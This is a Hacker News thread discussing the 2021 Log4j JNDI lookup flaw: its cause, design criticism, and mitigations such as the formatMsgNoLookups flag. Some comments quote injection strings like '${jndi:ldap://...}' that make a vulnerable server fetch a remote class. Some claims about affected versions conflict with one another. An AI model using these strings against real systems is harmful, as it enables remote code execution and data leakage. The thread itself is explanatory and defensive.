▲ Log4j RCE Found (lunasec.io)

1385 points by usmannk on Dec 9, 2021 | hide | past | favorite | 503 comments

▲ lewisjoe on Dec 10, 2021 | next [–]

To folks wondering what the issue is about, I'll give a short summary that I myself needed.

Typically a logging library has one job to do: swallow the string as if it's some black box and spit it elsewhere as per provided configurations. Log4j though, doesn't treat strings as black boxes. It inspects its contents and checks if it contains any "variables" that need to be resolved before spitting out.

Now there's a bunch of ways to interpolate "variables" into log content. For example something like "Logging from ${java:vm}" will print "Logging from Oracle JVM". I'm not sure but you get the idea.

One way to resolve a variable using a custom Java resolver is by looking it up through a remote class hosted in some LDAP server, say "${jndi:ldap://someremoteclass}" (I'm still not quite sure why LDAP comes into the picture). Turns out, by including "." in some part of the URL to this remote class, Log4j lets off its guard & simply looks up to that server and dynamically loads the class file.

The fix has introduced ways to configure an allowed set of hosts/protocols/etc and forces Log4j to go through this configuration such that these dynamic resolutions don't land on an random/evil server.

▲ brabel on Dec 10, 2021 | parent | next [–]

These "special" strings that Log4j parse must be in the formatting string though, right?

External Strings should normally be logged as parameters, not included in the format String. For example:

```
// this is ok
log.debug("user-agent={}", userAgent);

// this is bad
log.debug("user-agent=" + userAgent);
```

Does this vulnerability still work on the first case?

EDIT: the answer is yes, just tried it myself.

▲ smsm42 on Dec 11, 2021 | root | parent | next [–]

That's stunning. People are screaming about SQL injections and such for decades now, every "programming 101 for complete doofuses" course has a chapter about it in the first ten pages, we have tools upon tools to detect patterns of using untrusted data as control... And yet, one of the most popular logging toolkits in one of the most popular languages has it built in as a feature - literally using untrusted and unfiltered outside data as a pattern - and it takes until 2021 (almost 2022, happy new year!) to realize this is bad??? There were so many problems with untrusted data used as control flow, how it didn't raise any alarms before?

▲ unclebucknasty on Dec 11, 2021 | root | parent | next [–]

I mean it's so inexplicably bad that it's hard to imagine it being an innocent mistake.

You have to wonder if opening a ticket for such a feature then having someone (or yourself under another account) build it in such an egregious way is a possible vector for deliberately creating such exploits.

If this feature was default enabled, then it's even more suspect. It's just such an esoteric thing.

When you factor in this kind of thing with recent revelations about backdoored NPM packages, you have to wonder if OSS is even tenable. I don't want to go all the sky is falling here, But the default model of assuming that someone's paying attention doesn't seem to cut it. It works well in most cases, but it's that 2% or 5% that's a doozy.

▲ janto on Dec 12, 2021 | root | parent | next [–]

OSS definitely has a reliability and credibility problem on its hands. Codes of Conduct that prioritize belonging over, say, competence and truthfulness is not helping. We need more people like the old Linus that are more concerned with the quality of the artifact than increasing the size of a community

▲ xpe on Dec 15, 2021 | root | parent | next [–]

> We need more people like the old Linus that are more concerned with the quality of the artifact than increasing the size of a community

There is a difference between (a) maintaining high code quality and review standards and (b) yelling at people and/or degrading them.

With this in mind, think through the first-order and second-order effects that happen when toxic leadership behavior is allowed, tolerated, or encouraged in an open source project.

Toxic leadership in an open source project, all other things equal, harms the project and the people.

Of course, historically, there are cases where intelligent and committed people exhibit toxic behaviors -- but this is not a pattern of behavior for us to aspire to. Quite the opposite.

I understand that many people (including software developers) struggle in interpersonal interactions. I don't demonize people when they are unaware or lack the tools to treat others with respect. But these behaviors have huge negative effects, so it reasonable and beneficial to have fair, humane codes of conduct to mitigate such negative patterns of behavior.

▲ KarlKemp on Dec 14, 2021 | root | parent | prev | next [–]

I think we need fewer people that somehow manage to mangle logic to such a degree that they blame security vulnerabilities on the willingness of some project to state that it's generally preferred to treat each other with some respect.

Linus' insults were always cringeworthy. Sometimes they may have been justified, at other times they were just needlessly hurtful and revealed some sort of weakness on his part. In any case, he always had the power to say no with just that single word.

Log4J doesn't even have a code of conduct in its source tree, though I guess Apache probably has one. You'll get a free Log4j update if you find any instances of it having an impact on the project.

▲ xpe on Dec 15, 2021 | root | parent | prev | next [–]

> Codes of Conduct that prioritize belonging over, say, competence and truthfulness is not helping.

What is your reasoning for suggesting that (i) codes of conduct are in tension with (ii) competence and truthfulness?

▲ xpe on Dec 15, 2021 | root | parent | prev | next [–]

> Codes of Conduct that prioritize belonging over, say, competence and truthfulness is not helping.

Example, please?

▲ raxxorrax on Dec 13, 2021 | root | parent | prev | next [–]

That is a pretty far out security assessment. You have the same exploits in commercial software, just security through obscurity helps because of far less usage.

▲ unclebucknasty on Dec 14, 2021 | root | parent | next [–]

>That is a pretty far out security assessment

Yeah, I kind of thought that too as I was typing it, but it's so egregiously bad that I couldn't get around that conclusion.

>You have the same exploits in commercial software

Sure, virtually all software is susceptible to exploit. But, if someone were sending unsanitized strings to a database, and without using query parameters, etc., then we would all agree that's inexcusable after all of these years of knowing better.

IMO, this is in that category.

▲ einpoklum on Dec 12, 2021 | root | parent | prev | next [–]

Alexander Dumas once said:

> Une chose qui m'humilie profondément est de voir que le génie humain a des limites, quand la bêtise humaine n'en a pas.

So, never discount human stupidity :-(

▲ SZJX on Dec 13, 2021 | root | parent | next [–]

Sounds quite sensationalized and the other way round tbh. Nobody 10000 years ago would have imagined how far we've come nowadays as a whole, while stupidity would be more likely limited by the circumstances and conditions of the time.

▲ erk__ on Dec 10, 2021 | root | parent | prev | next [–]

According to a comment here it does https://news.ycombinator.com/item?id=29506397

▲ brabel on Dec 10, 2021 | root | parent | next [–]

Confirmed myself here... yes, it does :(

▲ vincnetas on Dec 10, 2021 | root | parent | prev | next [–]

wow it's like SQL injection but even when using user input as parameter it does not get sanitised. Really curious what was motivation for such behaviour.

▲ niea_11 on Dec 10, 2021 | root | parent | next [–]

Here is the jira ticket that introduced the behaviour (jndi lookup) : https://issues.apache.org/jira/browse/LOG4J2-313

▲ josefx on Dec 10, 2021 | root | parent | next [–]

That explains the jndi lookup, but not why variables are parsed when they are not part of the format string. That just asks for unexpected issues and exploits.

▲ vincnetas on Dec 10, 2021 | root | parent | prev | next [–]

JNDI lookup in it self is not a problem, problem is that user input is not sanitised and can include templates which can have JNDI lookup in them. I would expect user input with {} template symbols to be escaped and not evaluated.

▲ przemelek on Dec 10, 2021 | root | parent | next [–]

Maybe, but still this seems as vanity feature added because "It would be really convenient"... this wasn't something what was needed, but something what was added to make life of maybe 0.1% of users little bit easier. My guess is that most of users of Log4J2 don't even know that it is able to do such magic, and would be horrified knowing it. IMHO Log library should log, not do some magic stuff.

▲ richardfey on Dec 10, 2021 | root | parent | next [–]

I am indeed horrified

▲ niea_11 on Dec 10, 2021 | root | parent | prev | next [–]

The method responsible for variable substitution is here [1].

There are other lookup mechanisms, (didn't check them all) but they only retrieve environment/static values (this one [2] for example retrieves kubernetes attributes). I think the jndi one is the only one that load and execute code.

Edit : I think my understanding of the docs is incorrect so ignore the next paragraph

From the documentation [3], I have the impression that these variables should be evaluated only when loading the pattern layout configuration. But in reality they are also evaluated when formatting the final log message (log.info(...)).

I agree that the input should be sanitized but only if the formatting behavior is a bug and was not intentional.

One possible explanation for the current situation, is that developers assumed that all lookup mechanism will retrieve only static values (env variables for example).

And then another dev introduced the jndi lookup which execute code, but no one noticed the impact on the already existing behavior (evaluation variable when formatting the final msg).

Edit

1: https://github.com/apache/logging-log4j2/blob/9df31f73b62ba2...

2: https://github.com/apache/logging-log4j2/blob/c2b07e37995004...

3: https://logging.apache.org/log4j/2.x/manual/lookups.html

▲ layer8 on Dec 10, 2021 | root | parent | next [–]

> I agree that the input should be sanitized but only if the formatting behavior is a bug and was not intentional.

Non-pattern arguments should not do any substitution, because otherwise developers have to jump through hoops to output strings verbatim. You don't want "Invalid identifier: '${<some valid log4j syntax>}'" to be turned into "Invalid identifier: '<the log4j replacement>'" when the actual invalid identifier (e.g. from user input) was the "${…}" syntax. I'm surprised that log4j behaves that way still after two decades.

▲ jcheng on Dec 10, 2021 | root | parent | next [–]

I was so surprised by the behavior your comment describes that I didn't believe it, but it's true. And it's not a bug, they do this on purpose!

From https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/...:

> Variable replacement works in a recursive way. Thus, if a variable value contains a variable then that variable will also be replaced.

And an example where this caused problems for someone:

https://www.tasktop.com/blog-under-construction/log4j-2-the-...

▲ spion on Dec 12, 2021 | root | parent | next [–]

Recursive replacement is somewhat of a WTF yes but not really in a causitive relationship ro this vulnerability, right? The main cause is the order in which ${} variables are evaluated. They are evaluated after substitution of `{}` in the format string, instead of before. That's the key behavior problem.

A simple rule such as "If you evaluate a placeholder of type `{}` you should stop evaluating further recursively" would maintain most of existing behavior while only removing vulnerable behavior.

▲ scottlamb on Dec 10, 2021 | root | parent | prev | next [–]

> I agree that the input should be sanitized but only if the formatting behavior is a bug and was not intentional.

The behavior is fundamentally wrong as explained by layer8's comment and in the blog post jcheng linked. Apparently it *was* intentional, and to me that's a million

times *worse* than if it were a bug that could just be fixed.

log4j is unsuitable for use in a way that many many people are suddenly discovering today. The log4j developers need to rethink this, and even if they do, log4j's users should still strongly consider switching to something else. Otherwise they need to audit the whole codebase for other surprising, broken, insecure design decisions not only in its present state but also on each update. I don't see how it's possible to trust the log4j developers' design sensibilities after this.

▲ jedwidz on Dec 16, 2021 | root | parent | next [–]

> Apparently it was intentional, and to me that's a million times worse than if it were a bug that could just be fixed.

I've been on an 'archaeological dig' into the Log4j commit history, and sure enough, there's evidence that the formatting behavior was intentional from the outset.

My write-up is here: https://jedwidz.hashnode.dev/log4j-vulnerability-what-the-fa...

▲ smsm42 on Dec 11, 2021 | root | parent | prev | next [–]

That's way worse than that - that's like SQL server looks into your data and if it sees something that looks like SQL it executes it right there. I wonder how it took until now to find an exploit...

▲ chrisjc on Dec 10, 2021 | root | parent | prev | next [–]

Yup, log injection is something that I've been hearing a lot about recently, but I really only thought about it being able to affect systems that consume the logs. This approach is pretty ingenious.

▲ danmur on Dec 10, 2021 | root | parent | prev | next [–]

That's very surprising.

▲ janekm on Dec 10, 2021 | root | parent | prev | next [–]

Though of course "debug.log(stuffIGotFromPeer)" is also very common (and as you point out should always be avoided).

▲ Pxtl on Dec 10, 2021 | root | parent | next [–]

If "debug.log(stuffIGotFromPeer)" is dangerous, then the problem is with debug.log and not my code.

Safe logging is not too high of a bar.

▲ jhugo on Dec 10, 2021 | root | parent | next [–]

The point is that the first argument is the format string. debug.log("{}", stuffIGotFromPeer) should generally be safe (this bug is an example of when it isn't, though)

▲ jameshart on Dec 10, 2021 | root | parent | next [–]

The fact that the first argument is interpreted as a format string even when you aren't supplying format arguments is a violation of 'principle of least surprise'. The availability of format parameters that can access environment data - let alone *remotely loaded code* - is a feature most people won't discover unless they go looking for it.

▲ rixed on Dec 11, 2021 | root | parent | next [–]

How are varargs implemented in the JVM ABI? Is the called function even aware of how many parameters were actually passed, or does it have to rely on the format string for that?

▲ jameshart on Dec 11, 2021 | root | parent | next [–]

Turned into an object[] array.

The log4j API implements a few overloads of each log method to help avoid the implicit array allocation happening in common logging cases (no args, one arg, etc).

The call site can tell if args were provided.

▲ watwut on Dec 11, 2021 | root | parent | prev | next [–]

The format string should not allow remote execution unless explicitly tuned on either.

Logging should not be the thing you have to sanitize.

▲ smsm42 on Dec 11, 2021 | root | parent | prev | next [–]

TBH, this is a huge antipattern. You have to put some context in your logs, so it must be something like "debug.log("Got from peer: {}", stuffIGotFromPeer) or something like that. You can't complain printf(stuffIGotFromPeer) is dangerous, so here is the same. But in log4j, debug.log("Got from peer: {}", stuffIGotFromPeer) is as unsafe as the other one, too! There's no way to make it safe, as I understand.

▲ spion on Dec 12, 2021 | root | parent | next [–]

Don't see why not. Evaluate the `${}` stuff first, then do the `{}` substitutions.

▲ lvh on Dec 10, 2021 | root | parent | prev | next [–]

Fortunately (and for reasons I can't begin to understand), debug and info logging levels seem to be safe, but error is not. Technically better, but somehow... morally worse?

▲ mshanu on Dec 11, 2021 | root | parent | prev | next [–]

Trying to put my head around, why is this log.debug("user-agent=" + userAgent); bad?

▲ jameshart on Dec 11, 2021 | root | parent | next [–]

Because the string concatenation requires allocation of a new string, which will need to be garbage collected, regardless of whether or not the log.debug actually needs it.

Using a format and args lets you call the method with only references to existing objects, no additional string needs to be allocated unless the log method actually needs to generate the string to log (and it might even be able to use streaming to output the log and never even allocate the string)

When you're doing things like putting trace logs with all your parameters in at the top of every method call, the memory and GC pressure of generating unnecessary strings can be significant.

▲ mshanu on Dec 13, 2021 | root | parent | next [–]

ok, so its only gc overhead, and no security issue with it?

▲ ptx on Dec 13, 2021 | root | parent | next [–]

The first argument is code and the rest of the arguments are data, much like an SQL statement and its parameters. You could try to prove that whatever interprets the code in the first argument will never do anything dangerous no matter what it's supplied with, but then someone might add that dangerous feature later, as happened in this case.

To make it always work correctly, don't pass the data values as code. Although apparently[1] Log4j complicates this by mixing code with data even if you separate them, unless you tell it not to by saying "$m{nolookups}" instead of "%m".

[1] https://www.tasktop.com/blog-under-construction/log4j-2-the-...

▲ jameshart on Dec 13, 2021 | root | parent | prev | next [–]

No. I don't think anybody generally expects log message parameterization to do anything like escaping or white space normalization or anything to the parameters that wouldn't also be done to the message string.

If you are using a logger to output a message which you want to be able to parse based on delimiters, say, it would be up to you to escape any parameters you were incorporating into it to ensure they don't confuse your parser.

▲ ehsankia on Dec 11, 2021 | root | parent | prev | next [–]

Generally, most logging frameworks have two parts, the format string, and the parameters. A good logging library will also avoid calling str()/toString() if the log isn't emitted (for example, if it's a debug log but minimum level is info).

You have something similar when building database queries, generally you should have a base template into which you insert arguments. The library generally should take care of escaping things and also preventing things like SQL injections.

▲ jameshart on Dec 10, 2021 | parent | prev | next [–]

Even the variable interpolation is a security risk.

If I have the ability to trigger execution of a process on some service, and one of the things it does is return me the logs form that process, it might be somewhat surprising to the host of that process that if I can pass in "${java:vm}" as input, the logs might leak information about what version of the JVM it's running...

What else might you be able to get a system to leak to you if you can control input and read log output?

▲ spullara on Dec 10, 2021 | parent | prev | next [–]

This is just stupid. Logging should not do any side effects except writing to the log.

▲ NelsonMinar on Dec 10, 2021 | root | parent | next [–]

I agree. It reminds me a lot of XXE attacks on XML. You wouldn't expect parsing an XML file to open arbitrary network connections, would you? The spec says an XML parser should do that. A lot of parsers used to have that feature turned on by default, although I think by now most folks have wised up.

▲ spullara on Dec 10, 2021 | root | parent | next [–]

For sure. Also related were all the deserialization attacks on various libraries that supported it in Java, Ruby and Python.

▲ dikei on Dec 10, 2021 | root | parent | prev | next [–]

I'm not defending Log4j, but this error can really happen to many logging libraries.

All logging libraries contain some kind of template engine as a performance optimization, in order to avoid actually generating the output string (can be costly) if logging is disabled. And template engines have always been a major source of vulnerabilities.

▲ rixed on Dec 11, 2021 | root | parent | next [–]

Apparently, from recent posts on this page, the problem is not solely caused by the fact that log4j perform some substitutions from a preset map, but that it performs substitution recursively, thus interpreting again the data injected into the string, with apparently no way to escape it, which I think very few logging libraries are doing.

Imagine, you write SQL commands using the proper parametric form, such as:

> exec("select * where id=${1}", user_provided_login);

You would be right to expect the DB library to escape the string so that no SQL injection is possible. After all, isn't that the whole point of parameters over a mere

> exec('select * where id=' + user_provided_login);

?

Well, apparently log4j is doing the equivalent of treating 'user_provided_login' as legit SQL.

This is especially problematic because not only will it substitute some '${variables}' again at remote user discretion, but some '${special.forms}' can actually instruct log4j to connect anywhere, download some code, execute it, then print the output. Because that was deamed convenient to

someone in the past who complained that feature was missing and submitted a patch which, because of stellar unit tests, passed the code review.

The only context I can think of where this behavior regarding recursive substitution is acceptable is text templating, away from possibly adversarial input. I believe it goes opposite to expectations when logging.

▲ mike22 on Dec 15, 2021 | root | parent | next [–]

> You would be right to expect the DB library to escape the string so that no SQL injection is possible.

SQL in some (hopefully good number of) cases is much safer than that. Going with MySQL prepared statements here: parameters are not sustituted into the SQL statement string, but rather sent as seperate data packets in the wire protocol.

▲ ninkendo on Dec 10, 2021 | root | parent | prev | next [–]

Eliding the string interpolation doesn't necessarily have to be a feature of the logging library, the language itself can have affordances for this.

For example in swift, log.debug("my name is \(expensiveCalculate(name))") doesn't have to evaluate "expensiveCalculate(name)" unless the logger actually opts to instantiate the string (which it can skip if say, debug logging is disabled.) This is because Swift's string interpolation is implemented as lazily-evaluated closures, and all the "debug" method has to do is tag the input as an @autoclosure and it can avoid evaluation until it actually calls the closure. No templating is needed, just native string interpolation provided by the language.

▲ dikei on Dec 10, 2021 | root | parent | next [–]

I would consider a programming language's native string interpolation as a form of templating, but to each his own.

▲ ninkendo on Dec 10, 2021 | root | parent | next [–]

I was specifically responding to:

> All logging libraries contain some kind of template engine as a performance optimization

This doesn't need to be the case for some languages. But also, a language's native string interpolation doesn't need to be implemented as any sort of runtime template engine in the first place, because the compiler can compose the the components of the interpolated string at compile time. This compile-time/runtime split is IMO the key differentiator here, because runtime string interpolation is much more prone to bugs/RCE (since an untrusted string may show up as your template string.)

To use an example, in swift, `f1("Some \(string) with \(vars)")` is fundamentally different than calling `f2("Some {} with {}", string, vars)`, because of the fact that such a method signature for "f2" may allow an untrusted string to show up as the first argument, which isn't possible in f1. (And no, an external string that happens to have \()'s in it will not be expanded... it has to be a string literal in the source code, which the compiler can see, for interpolation to happen.)

▲ andrebreves on Dec 11, 2021 | root | parent | prev | next [–]

It's coming to Java (soon I hope): https://openjdk.java.net/jeps/8273943

▲ Spivak on Dec 10, 2021 | root | parent | prev | next [–]

While nice this feature doesn't really exist in other programming languages that don't involve the caller unergonomically wrapping the parameter to defer evaluation.

▲ wyager on Dec 10, 2021 | root | parent | prev | next [–]

There are several ways to avoid generating log strings that don't involve sketchy ad-hoc templating. Use a language with laziness, put the string generation in a lambda expression, use a language with a good compiler and don't put side effects in your log string expression, etc.

As a matter of principle, it should also clearly not be possible for a templating engine to perform any kind of side effect. That's totally crazy.

▲ acdha on Dec 10, 2021 | root | parent | prev | next [–]

I think you're right but also showing where a more secure design could solve it just like we've seen for SQL injection. The problem is that the first parameter can either be a format string or data.

If the signature was different so it only used instances of a FormatString class to get dynamic behavior, this problem would be avoided, but I'm sure a lot of people would complain about the extra typing.

What'd be really cool would be if Java supported something like this Rust lifetime hack to let that be implicit where you could disable dynamic functionality for strings created after startup.

https://polyfloyd.net/post/compile-time-prevention-of-sql-in...

▲ andrebreves on Dec 11, 2021 | root | parent | prev | next [–]

Nowadays I guess the logging methods using lambda to supply the log string fix the performance problem

▲ CoffeeOnWrite on Dec 10, 2021 | root | parent | prev | next [–]

Would you be ok with logging also checking the contents of what is passed in for sensitive data that should not be logged? (I do this and am curious if there's a better pattern, to provide defense in depth against mistakenly logging eg secrets)

▲ fauria on Dec 10, 2021 | parent | prev | next [–]

> I'm still not quite sure why LDAP comes into the picture

According to https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-... , SecurityManager is not enforced on remote class loading when using JNDI's LDAP server provider interface.

▲ isbvhodnvemrwvn on Dec 10, 2021 | root | parent | next [–]

Let's be honest, barely anyone even uses SecurityManager in the real world.

▲ jsiepkes on Dec 10, 2021 | root | parent | next [–]

There is even a JEP to remove the SecurityManager all together: https://openjdk.java.net/jeps/411

▲ feurio on Dec 10, 2021 | root | parent | next [–]

There is even a JEP to remove the SecurityManager!

▲ twic on Dec 10, 2021 | parent | prev | next [–]

> Turns out, by including "." in some part of the URL to this remote class, Log4j lets off its guard & simply looks up to that server and dynamically loads the class file.

No it doesn't. That was disabled by default in 2009, and was disabled by default in every release of Java 8 or later: https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71...

Unless i am mistaken, i don't believe the attack as described by LunaSec actually works against a default-configured JVM released any time in the last decade.

▲ movover on Dec 10, 2021 | root | parent | next [–]

This is my understanding of it as well. While the bug is still bad due to the fact that a JVM instance will connect to the attacker's endpoint, any JVM above 8u121 wouldn't execute the code with Java's default configuration.

It's also mentioned as part of the release notes for 8u121:
https://www.oracle.com/java/technologies/javase/8u121-relnot...

Edit: Looking deeper into it; the JDK version used within the POC's GitHub, from the screenshot in that repo, is 8u20, released in 2014.

▲ twic on Dec 10, 2021 | root | parent | next [–]

Aha! It's more complicated than i thought:

https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...

▲ grrrrrrreat on Dec 10, 2021 | parent | prev | next [–]

Does this affect SL4j wrappers over log4j as well ?

▲ exec on Dec 10, 2021 | root | parent | next [–]

Yes. I managed to reproduce the issue with slf4j + log4j2.

▲ sathishv on Dec 11, 2021 | root | parent | next [–]

can you please share code sample? and what versions you used? i am unable to replicate with log4j 1.2.12, slf4j 1.7.6, java8-151

▲ orgesballa on Dec 11, 2021 | root | parent | next [–]

Affected versions >= 2.0.0, < 2.0.11 < 1.11.10

So you are safe!

▲ voyager1 on Dec 16, 2021 | root | parent | next [–]

Do you have any reference about < 1.11.10 being affected? I though versions 1.x are not affected.

▲ creatonez on Dec 10, 2021 | prev | next [–]

This exploit is quite severe on Minecraft Java Edition. Anyone can send a chat message which exploits everyone on the server *and* the server itself, because every chat message is logged. It's been quite a rollercoaster over the past few hours, working out the details of how to protect members of servers, and informing players (many of whom uses modded clients that don't receive the automatic Mojang patches) of how to protect themselves. Some of the major servers like 2b2t and Mineplex have shut down, and larger servers that haven't shut down yet are pure chaos right now.

▲ mschuster91 on Dec 10, 2021 | parent | next [–]

> Anyone can send a chat message which exploits everyone on the server and the server itself, because every chat message is logged. ... Some of the major servers like 2b2t and Mineplex have shut down, and larger servers that haven't shut down yet are pure chaos right now.

Why does this behavior remind me of the old "dcc send start keylogger 0 0 0" exploit of IRC some fifteen years ago?

▲ creatonez on Dec 10, 2021 | root | parent | next [–]

For context:

> DCC SEND STARTKEYLOGGER 0 0 0 is a way to make half of the people in an irc channel disconnect. This originated when a virus used the phrase to start the key logger it came with. If you had Norton internet security, it would terminate the connection. Some older routers also crash when receiving a malformed DCC request, which DCC SEND STARTKEYLOGGER 0 0 0 is.

That's pretty wild, it was caused by hypervigilant security software apparently

▲ bullen on Dec 10, 2021 | parent | prev | next [–]

So is this fixed in 1.18?

▲ creatonez on Dec 10, 2021 | root | parent | next [–]

The vanilla launcher will automatically patch 1.12 to 1.18, and 1.18.1 includes a specific permanent fix for it by switching to a newer Log4j version.

There is a workaround that fixes it for 1.13 to 1.18 only: Simply add `-Dlog4j2.formatMsgNoLookups=true` to your Java parameters

What about Minecraft <1.12? Well, Mojang employees have said on Twitter^1 to *not use* any Minecraft versions before 1.12 right now.

[1]: https://twitter.com/slicedlime/status/1469150995842310144

▲ cesarb on Dec 10, 2021 | root | parent | next [–]

> The vanilla launcher will automatically patch 1.12 to 1.18

The patch seems to have been to the client-1.12.xml file, which I believe is the log4j configuration file for all client releases since 1.12, and the change seems to have been to add a {nolookups} flag to the log format (but I don't have an old copy of that file to compare and see if anything else was changed).

If I'm not wrong, this gives a simple way to make sure your copy of Minecraft is patched: just check if that file has that {nolookups} flag.

▲ patrakov on Dec 10, 2021 | root | parent | prev | next [–]

Thanks, this is the first message where I see the full instruction on where and how to apply the workaround. I was not even sure if this is something I should change in the third-party code that I run in a Docker container, and now I know it is just a change of the ENTRYPOINT or CMD line.

▲ ginko on Dec 10, 2021 | root | parent | prev | next [–]

This will be a pain for MC speedrunning where older versions are still quite popular AFAIK.

▲ rcxdude on Dec 10, 2021 | root | parent | next [–]

MC speed running isn't usually done on a publically accesible server though

▲ tetha on Dec 10, 2021 | root | parent | prev | next [–]

Wouldn't this be a breakthrough for the any% glitched category? You could just load + inject a class that makes you win instantly with only one chat message! <T C-V enter> speedstrat ftw. :)

▲ mainde on Dec 10, 2021 | root | parent | prev | next [–]

Speedruners don't play on public servers I imagine?

▲ cjensen on Dec 10, 2021 | root | parent | prev | next [–]

It's in the 1.18.1 release candidate 3 which is scheduled to be fully released tomorrow.

▲ kelnos on Dec 10, 2021 | prev | next [–]

On one hand I want to be more forgiving of this, because log4j is very old, and likely this feature was introduced well before we all had a collective understanding of how fiddly and difficult security can be, and how attackers will go to extreme effort to compromise our services.

But at the same time... c'mon. A logging framework's job is to ship strings to stdout or files or something. String interpolation should not be this complicated, flexible, whatever you want to call it. The idea that a logging framework (!) could even *have* an RCE makes me want to scream... the feature set that leads us to that even being possible just weeps "overengineered".

▲ michaelt on Dec 10, 2021 | parent | next [–]

> A logging framework's job is to ship strings to stdout or files or something.

I've seen people (including here on HN) dismiss libraries as "abandoned" when they went a year without a release.

The software industry will never get bug-free, feature-complete software so long as we're selecting for the opposite.

▲ svick on Dec 10, 2021 | root | parent | next [–]

How do you differentiate between "actually abandoned and probably dangerous" and "actively maintained, but updated only very rarely, because there's nothing left to do"?

▲ HelloNurse on Dec 10, 2021 | root | parent | next [–]

By reputation, adoption, type of changes being made (e.g. "implemented correct alphabetical ordering with proper normalization" is less mature than "updated to latest Unicode standard, Cypro-Minoan is now allowed"), update schedules (e.g. once or twice a year right after someone opens an infrequent issue vs. once or twice a year during the maintainer's vacations), type of issues that remain open (e.g. "crashes if the description is too long", answer "use a shorter description", is less mature than "bad-looking text wrapping if the description is too long", answer "default column widths are compact, but you can customize them").

▲ ironmagma on Dec 10, 2021 | root | parent | prev | next [–]

Code is alive and there’s typically always something to do: adding tests, removing bugs, or simply paying back technical debt. If you go a full year without any releasable changes, chances are the project has been abandoned.

▲ watwut on Dec 11, 2021 | root | parent | next [–]

Why would you paid back technical debt on something where you don't intend to add features into or don't have serious bugs?

This idea that it must be changing forever is literally why you can't have simple done tools. Cause they will be considered abandoned once they do that one thing.

▲ ironmagma on Dec 11, 2021 | root | parent | next [–]

So that changes can be more readily introduced when they need to be. When the next CVE comes out, you want to be able to respond to it quickly and produce a fix.

No one said the interface or functionality has to be changing forever; as I said, work includes testing and refactors, and that includes removing code. Or just fixing known bugs. I don’t know many open source projects with zero bugs, do you?

▲ watwut on Dec 11, 2021 | root | parent | next [–]

So, you will refactor and add tests to a small library forever? It just, does not make sense.

▲ ironmagma on Dec 11, 2021 | root | parent | next [–]

If it’s a useful library, you want to be more and more certain it doesn’t have bugs, so yes, you keep adding tests. Maybe you stop when it’s clear that the library is perfect. But when has any project reached that state?

If it’s too small though, it’s probably not that useful and this doesn’t apply. It doesn’t really make sense to care about whether it was abandoned, either, because it will be so small that it doesn’t have any onboarding time and anyone can pick it up at any time.

▲ lanstin on Dec 10, 2021 | root | parent | prev | next [–]

My goal is to write servers that get uptimes more than a year. Like the old saying, peefection is reached not shem there is nothing left to add but nothing left to delete.

▲ toyg on Dec 11, 2021 | root | parent | next [–]

> peefection

Unrelated, but your typo made me think that "Peerfection" would be a great name for a P2P program.

▲ blktiger on Dec 10, 2021 | root | parent | prev | next [–]

Not only that, but no release in the last year is likely to be missing fixes for security issues on any sufficiently complicated project.

▲ aaomidi on Dec 10, 2021 | root | parent | prev | next [–]

> when they went a year without a release.

Cause these libraries depend on other libraries that are probably extremely out of date at that point and have their own security vulnerabilities.

An example of a project that hasn't been dismissed as "abandoned", is https://github.com/patrickmn/go-cache because it explicitly doesnt have dependencies.

So yeah, if you have a semi-complex library, a year without a release is abandoned.

▲ JanecekPetr on Dec 10, 2021 | parent | prev | next [–]

No, this is about log4j2 which is kinda new (2.0.0 was released 2014). Otherwise, yeah, this is terrible, especially since the tag doesn't even have to be in the formatting string.

▲ maxdamantus on Dec 10, 2021 | root | parent | next [–]

The sample in the in post is log4j1 ("org.apache.log4j" rather than "org.apache.logging.log4j"), which is why it's using:

> log.info("foo: " + bar);

rather than:

> log.info("foo: {}", bar);

But the issue also affects log4j2, and it doesn't matter which form of logging you use, since the transformation apparently happens further along in some appender, used by both versions of log4j.

▲ Zardoz84 on Dec 10, 2021 | root | parent | next [–]

The post examples its :

log.info("Request User Agent:{}", userAgent);

Also, I just try with log4j1 , and I can't reproduce it. At least with the netcat trick doesn't work : https://twitter.com/thetaph1/status/1469264526214406150?s=20

▲ maxdamantus on Dec 10, 2021 | root | parent | next [–]

The post has been partially updated to log4j2 [0] (the import is still log4j1, but I imagine this will be updated soon [1]).

And yes, I'm actually not sure log4j1 is vulnerable. I assumed it was because the sample code in the post was using log4j1, though the description only explicitly mentions log4j2.

[0]: https://github.com/lunasec-io/lunasec/pull/270

[1]: https://github.com/lunasec-io/lunasec/pull/277

▲ whizzter on Dec 10, 2021 | root | parent | prev | next [–]

Even if 2.x is the main culprit right now some one twitter started testing and it seems that 1.x might be exploitable as well.

▲ cpu_ on Dec 10, 2021 | root | parent | next [–]

can you share a link to the tweet/source?

▲ whizzter on Dec 22, 2021 | root | parent | next [–]

Nah it's long gone, however I've later read that the 1.2 series was declared deprecated long ago and after that there was an exploit for 1.2 released in 2019, not entirely sure if it was ever patched so that might've been the source.

▲ rst on Dec 10, 2021 | parent | prev | next [–]

The patch which apparently introduced the vulnerable code path landed in 2013 -- https://www.lunasec.io/docs/blog/log4j-zero-day/

For context, injection attacks were on the original OWASP top 10 list from 2003.

▲ ta4873588478 on Dec 10, 2021 | parent | prev | next [–]

Yeah this is disappointing to hear about and isn't a good look for the people involved. At the very least it should've been a separate module or an opt-in configuration parameter, who the hell needs a JNDI lookup in a log statement. If you do, do it yourself then log it. Disappointing.

▲ wbl on Dec 10, 2021 | parent | prev | next [–]

The Ware report is 60 years old. String formatting bugs are about 20 or 30.

▲ adamc on Dec 10, 2021 | root | parent | next [–]

Isn't it from 1970? So, 51 years old.

▲ freeqaz on Dec 10, 2021 | prev | next [–]

Here's a write up on the exploit and how to patch it. We just wrote this up and posted it a few minutes ago (before this was even on HN, lol).

https://www.lunasec.io/docs/blog/log4j-zero-day/

▲ dang on Dec 10, 2021 | parent | next [–]

Ok, I think we can change the URL to that from the submitted URL (https://github.com/apache/logging-log4j2/pull/608), which doesn't provide much (any?) context for understanding what's being fixed there.

▲ freeqaz on Dec 10, 2021 | root | parent | next [–]

Thanks, dang!

▲ nightpool on Dec 10, 2021 | parent | prev | next [–]

Note that the formatMsgNoLookups workaround only applies to recent versions of the log4j library, while it's still unclear how far back this bug may stretch. Other options for patching are detailed in the thread: https://github.com/apache/logging-log4j2/pull/608#issuecomme... mentions that just removing the class providing the vulnerable behavior works well, and https://github.com/Glavo/log4j-patch is a JAR that you can add to your classpath to simply override the same class.

